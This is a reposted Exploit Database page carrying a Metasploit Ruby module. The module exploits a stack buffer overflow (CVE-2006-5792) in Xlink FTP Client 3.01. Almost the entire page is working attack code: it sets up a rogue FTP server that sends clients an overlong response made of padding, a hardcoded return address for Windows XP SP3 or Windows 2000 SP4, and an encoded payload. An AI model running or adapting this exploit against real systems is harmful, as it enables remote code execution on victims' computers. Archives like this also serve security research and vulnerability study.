Xlink FTP Client – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16722/

• ##
  # $Id: xlink_client.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Xlink FTP Client Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Xlink FTP Client 32
  				Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
  				When a overly long FTP server response is recieved by a client,
  				arbitrary code may be executed.
  			},
  			'Author' 	 => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-5792' ],
  					[ 'OSVDB', '33969' ],
  					[ 'URL', 'http://www.metasploit.com/' ],
  					[ 'URL', 'http://www.xlink.com' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 550,
  					'BadChars' => "\x00\x0a\x0d\().,",
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
  					[ 'Windows 2000 SP4 English', 	{ 'Ret' => 0x7ce02a2d } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 3 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
  			], self.class)
  	end
  
  	def on_client_connect(client)
  
  		return if ((p = regenerate_payload(client)) == nil)
  
  		sploit =rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
  		sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"
  
  		print_status("Sending #{self.name}...")
  		client.put(sploit)
  
  		handler(client)
  		service.close_client(client)
  
  	end
  end